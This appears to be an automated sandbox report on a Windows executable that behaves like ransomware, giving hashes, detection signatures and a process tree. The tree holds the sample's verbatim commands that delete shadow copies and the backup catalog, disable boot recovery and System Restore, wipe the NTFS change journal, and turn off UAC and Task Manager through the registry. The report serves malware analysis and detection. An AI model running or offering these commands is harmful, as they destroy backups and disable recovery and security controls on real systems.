Analysis

  • max time kernel
    146s
  • max time network
    72s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    16-11-2022 05:38

General

  • Target

    b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe

  • Size

    1.1MB

  • MD5

    ffc6b559c24b8d82afcb5c01bb5619d9

  • SHA1

    8e068e9c486769716d9685f85687b531ab3a88cf

  • SHA256

    b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0

  • SHA512

    48cf29ecbf184f9d96b9db95190657604c7fb9570046abbeba70d99c6748afbea5f698bb4bb91b1b9b3b3ab7abc56c36a3230aa20c58a99269fe0a4884522191

  • SSDEEP

    24576:NyBzKGHF0bxTCFvXwKk/aISpu4Qc6F3v1HT2BzN2tgGS3YzYho1yWEsWbj28Q5m:AV4xTCzu4Qc6/F8S8bzQ

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • UAC bypass 3 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Enumerates connected drives 3 TTPs 5 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 8 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe
    "C:\Users\Admin\AppData\Local\Temp\b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:884
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
        2⤵
          PID:940
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
          2⤵
            PID:1312
            • C:\Windows\system32\vssadmin.exe
              vssadmin.exe Delete Shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:892
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
            2⤵
              PID:1348
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:1820
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
              2⤵
                PID:1492
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} recoveryenabled No
                  3⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1984
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1208
                • C:\Windows\system32\vssadmin.exe
                  vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                  3⤵
                  • Interacts with shadow copies
                  PID:1112
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                2⤵
                  PID:1632
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                    3⤵
                    • Interacts with shadow copies
                    PID:936
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                  2⤵
                    PID:1160
                    • C:\Windows\system32\fsutil.exe
                      fsutil.exe usn deletejournal /D C:
                      3⤵
                      • Deletes NTFS Change Journal
                      PID:1008
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                    2⤵
                      PID:1916
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                        3⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1852
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                      2⤵
                        PID:636
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                          3⤵
                          • Interacts with shadow copies
                          PID:304
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                        2⤵
                          PID:752
                          • C:\Windows\system32\wbadmin.exe
                            wbadmin.exe delete catalog -quiet
                            3⤵
                            • Deletes backup catalog
                            PID:1012
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                          2⤵
                            PID:1224
                            • C:\Windows\system32\schtasks.exe
                              schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                              3⤵
                                PID:1788
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                              2⤵
                                PID:268
                                • C:\Windows\system32\vssadmin.exe
                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                  3⤵
                                  • Interacts with shadow copies
                                  PID:1752
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:1736
                                  • C:\Windows\system32\reg.exe
                                    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                    3⤵
                                    • UAC bypass
                                    PID:880
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                  2⤵
                                    PID:1088
                                    • C:\Windows\system32\vssadmin.exe
                                      vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                      3⤵
                                      • Interacts with shadow copies
                                      PID:2008
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                    2⤵
                                      PID:568
                                      • C:\Windows\system32\vssadmin.exe
                                        vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                        3⤵
                                        • Interacts with shadow copies
                                        PID:1144
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                      2⤵
                                        PID:552
                                        • C:\Windows\system32\reg.exe
                                          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                          3⤵
                                            PID:604
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:1380
                                            • C:\Windows\system32\reg.exe
                                              reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:2080
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                                              2⤵
                                                PID:1356
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:1672
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:1536
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                                    2⤵
                                                      PID:1924
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:1492
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:2052
                                                      • C:\Windows\system32\vssvc.exe
                                                        C:\Windows\system32\vssvc.exe
                                                        1⤵
                                                          PID:1008

                                                        Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • memory/1012-85-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/2036-54-0x0000000075521000-0x0000000075523000-memory.dmp

                                                          Filesize

                                                          8KB